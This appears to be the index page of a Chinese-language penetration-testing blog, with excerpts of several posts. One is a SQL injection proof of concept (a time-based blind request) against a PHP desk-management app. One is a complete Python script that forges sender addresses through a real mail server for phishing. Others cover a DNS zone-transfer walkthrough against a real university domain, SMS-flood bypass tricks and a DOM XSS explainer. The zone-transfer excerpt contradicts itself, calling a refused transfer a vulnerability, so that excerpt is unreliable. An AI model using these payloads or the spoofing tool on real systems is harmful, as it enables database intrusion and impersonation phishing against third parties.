0%

Vulnerability Product:Student Study Center Desk Management
Vulnerability version: V1.0
Vulnerability type:sql injection
Vulnerability Details:
admin#date_from has sql injection

Vulnerability location admin\reports\index.php

parameter data_from is spliced into sql without filtering to cause sql injection

image-20230317091752173

image-20230317092237309

image-20230317092002302

Vulnerability recurrence

poc

1
2
3
4
5
6
7
8
9
10
GET http://192.168.137.1/admin/?page=reports&date_from=2023-02-17'and(select*from(select+sleep(2))a/**/union/**/select+1)='&date_to=2023-03-17 HTTP/1.1
Host: 192.168.137.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.1/admin/?page=reports
Cookie: PHPSESSID=ddbatc4qohb6kh1c82fm68ak3l
Upgrade-Insecure-Requests: 1

sql

阅读全文 »

XSS查缺补漏

DomXSS是什么?

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

阅读全文 »

业务安全之短信&邮箱验证码

短信&邮箱验证码轰炸

本文对目前网络上与业务安全相关的短信&邮箱验证码进行整理。

收集自:

国外BountyTips

乌云漏洞库

各大安全类媒体(论坛、公众号等)

0x01 特殊符号绕过短信&邮箱轰炸限制

Request

1
phone=111*****123 或 email=test@aa.com
阅读全文 »

PbootCMS V1.2.1代码审计

初探MVC结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PbootCMS-V1.2.1
├─ apps 应用程序
│ ├─ admin 后台模块
│ ├─ api api模块
│ ├─ common 公共模块
│ ├─ home 前台模块
├─ config 配置文件
│ ├─ config.php 配置文件
│ ├─ database.php 数据库配置文件
│ ├─ route.php 用户自定义路由规则
├─ core 框架核心
│ ├─ function 框架公共函数库
│ │ ├─ handle.php 助手函数库1
│ │ ├─ helper.php 助手函数库2
├─ template html模板
├─ admin.php 管理端入口文件
├─ api.php api入口文件
├─ index.php 前端入口文件

先看路由

1
apps\common\route.php

image-20220919162652175

由于设置了自定义路由

1
http://www.pbootcms.com/index.php/list/2

解析后访问的则是

1
http://www.pbootcms.com/home/list/index/scode/11
阅读全文 »

未设置spf导致的邮箱任意伪造

spf的解释:

SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件。SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。

原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危

若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。

其实它的危害比它自身邮箱伪造危害更大。

漏洞利用:

1
nslookup -type=txt 域名

如果没有v=spf1或者没spf就存在邮件伪造漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import email.mime.multipart
import email.mime.text
from smtplib import SMTP


def send(fake_email, to, title, content):
'''

:param fake_email: 伪造的邮箱
:param to: 发送的邮箱
:param title: 邮件标题
:param content: 邮件内容
:return:
'''
# 建立邮件对象
msg = email.mime.multipart.MIMEMultipart()
# 添加数据,来自哪,去哪
msg['Subject'] = title
# 邮件显示的发送人
# msg['From'] = 'admin@pingan.com.cn'
# 上面一行有时候无法对有spf的目标进行伪造,如果被退信
# 可以使用header头,在owa下可以对设置了spf的目标邮件源伪造
msg['from'] = fake_email
msg["Sender"] = fake_email
# msg.add_header("FROM", fake_email)

msg['To'] = to
txt = email.mime.text.MIMEText(content, 'html', 'utf-8')
msg.attach(txt)

# 发送附件

# attpart = MIMEApplication(open('notepad.zip', 'rb').read())
# attpart.add_header('Content-Disposition', 'attachment', filename='a.zip')
# msg.attach(attpart)

try:
smtp = SMTP("mx1.qq.com", 25)
# set_debuglevel()是用来调试的。参数值为1表示开启调试模式,参数值为0关闭调试模式
smtp.set_debuglevel(1)
smtp.ehlo("test.com")
smtp.sendmail(fake_email, [to], msg.as_string())
# 退出
smtp.quit()
print('邮件发送成功 email has send out !')
except Exception as e:
print("err", e)


send("admin@faceid.com", "s7safe@163.com", "这是测试的标题", "看到我就伪造成功了")
阅读全文 »

漏洞描述

备份服务器需要利用“域传送”从主服务器上复制数据,然后更新自身的数据库,以达到数据同步的目的,这样是为了增加冗余,万一主服务器挂了还有备份服务器顶着。

而“域传送”漏洞则是由于dns配置不当,本来只有备份服务器能获得主服务器的数据,由于漏洞导致任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)。

这样,攻击者就能获得某个域的所有记录,用于子域名的信息收集,甚至整个网络拓扑都暴露无遗,凭借这份网络蓝图,攻击者可以节省很多扫描时间以及信息收集的时间,还提升了准确度等等。

大的互联网厂商通常将内部网络与外部互联网隔离开,一个重要的手段是使用 Private DNS。如果内部 DNS 泄露,将造成极大的安全风险。风险控制不当甚至造成整个内部网络沦陷。

漏洞利用

Win使用nslookup

失败例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> nslookup
DNS request timed out.
timeout was 2 seconds.
默认服务器: UnKnown
Address: 114.114.114.114

> server ss2.bjfu.edu.cn
默认服务器: ss2.bjfu.edu.cn
Address: 202.204.112.67

> ls bjfu.edu.cn
[ss2.bjfu.edu.cn]
*** 无法列出域 bjfu.edu.cn: Query refused
DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确,
请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn
区域传送安全设置。

说明 bjfu.edu.cn存在域传送漏洞

阅读全文 »